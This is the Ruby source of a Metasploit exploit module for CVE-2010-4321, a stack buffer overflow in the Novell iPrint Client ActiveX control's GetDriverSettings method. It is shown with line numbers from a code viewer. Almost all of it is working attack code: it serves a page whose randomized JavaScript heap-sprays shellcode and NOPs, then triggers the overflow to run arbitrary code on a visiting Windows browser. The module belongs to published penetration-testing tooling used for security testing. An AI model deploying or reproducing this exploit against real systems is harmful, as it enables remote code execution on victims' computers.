|   1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129  |  ## # $Id: novelliprint_getdriversettings_2.rb 11888 2011-03-07 02:28:15Z bannedit $ ## ### # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote  Rank = NormalRanking  include Msf::Exploit::Remote::HttpServer::HTML  def initialize(info = {})  super( update_info(info,  'Name' => 'Novell iPrint Client ActiveX Control <= 5.52 Buffer Overflow',  'Description'=> %q{  This module exploits a stack buffer overflow in Novell iPrint Client 5.52. When  sending an overly long string to the GetDriverSettings() property of ienipp.ocx  an attacker may be able to execute arbitrary code.  },  'License'=> MSF_LICENSE,  'Author' =>  [  'mr_me <steventhomasseeley[at]gmail.com>', # metasploit module  'Dr_IDE' # original Exploit from exploit-db.com  ],  'Version'=> '$Revision: 11888 $',  'References' =>  [  [ 'CVE', '2010-4321' ],  [ 'BID', '44966' ],  [ 'OSVDB', '69357' ],  [ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-10-256/' ],  [ 'URL', 'http://www.exploit-db.com/exploits/16014/' ],  [ 'URL', 'http://www.novell.com/support/viewContent.do?externalId=7007234' ],  ],  'DefaultOptions' =>  {  'EXITFUNC' => 'process',  },  'Payload'=>  {  'Space'=> 1024,  'BadChars' => "\x00",  },  'Platform' => 'win',  'Targets'=>  [  [   'Windows XP SP0-SP3 / Windows Vista / IE 6.0 SP0-SP2 / IE 7',  {   'Ret' => 0x0A0A0A0A  }  ]  ],  'DisclosureDate' => 'Nov 15 2010',  'DefaultTarget'=> 0))  end  def autofilter  false  end  def check_dependencies  use_zlib  end  def on_request_uri(cli, request)  # Re-generate the payload.  return if ((p = regenerate_payload(cli)) == nil)  # Encode the shellcode.  shellcode = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch))  # Create some nops.  nops = Rex::Text.to_unescape(make_nops(4))  # Set the return.  ret = Rex::Text.uri_encode([target.ret].pack('L'))  # Randomize the javascript variable names.  vname= rand_text_alpha(rand(100) + 1)  var_i= rand_text_alpha(rand(30)+ 2)  rand1= rand_text_alpha(rand(100) + 1)  rand2= rand_text_alpha(rand(100) + 1)  rand3= rand_text_alpha(rand(100) + 1)  rand4= rand_text_alpha(rand(100) + 1)  rand5= rand_text_alpha(rand(100) + 1)  rand6= rand_text_alpha(rand(100) + 1)  rand7= rand_text_alpha(rand(100) + 1)  rand8= rand_text_alpha(rand(100) + 1)  content = %Q|<html> <object id='#{vname}' classid='clsid:36723F97-7AA0-11D4-8919-FF2D71D0D32C'></object> <script language="JavaScript"> var #{rand1} = unescape('#{shellcode}'); var #{rand2} = unescape('#{nops}'); var #{rand3} = 20; var #{rand4} = #{rand3} + #{rand1}.length; while (#{rand2}.length < #{rand4}) #{rand2} += #{rand2}; var #{rand5} = #{rand2}.substring(0,#{rand4}); var #{rand6} = #{rand2}.substring(0,#{rand2}.length - #{rand4}); while (#{rand6}.length + #{rand4} < 0x50000) #{rand6} = #{rand6} + #{rand6} + #{rand5}; var #{rand7} = new Array(); for (#{var_i} = 0; #{var_i} < 200; #{var_i}++){ #{rand7}[#{var_i}] = #{rand6} + #{rand1} } var #{rand8} = ""; for (#{var_i} = 0; #{var_i} < 250; #{var_i}++) { #{rand8} = #{rand8} + unescape('#{ret}') } #{vname}.GetDriverSettings(#{rand8}, #{vname}, #{vname}, #{vname}); </script> </html> |  content = Rex::Text.randomize_space(content)  print_status("Sending #{self.name} to #{cli.peerhost}:#{cli.peerport}...")  # Transmit the response to the client  send_response_html(cli, content)  # Handle the payload  handler(cli)  end end  |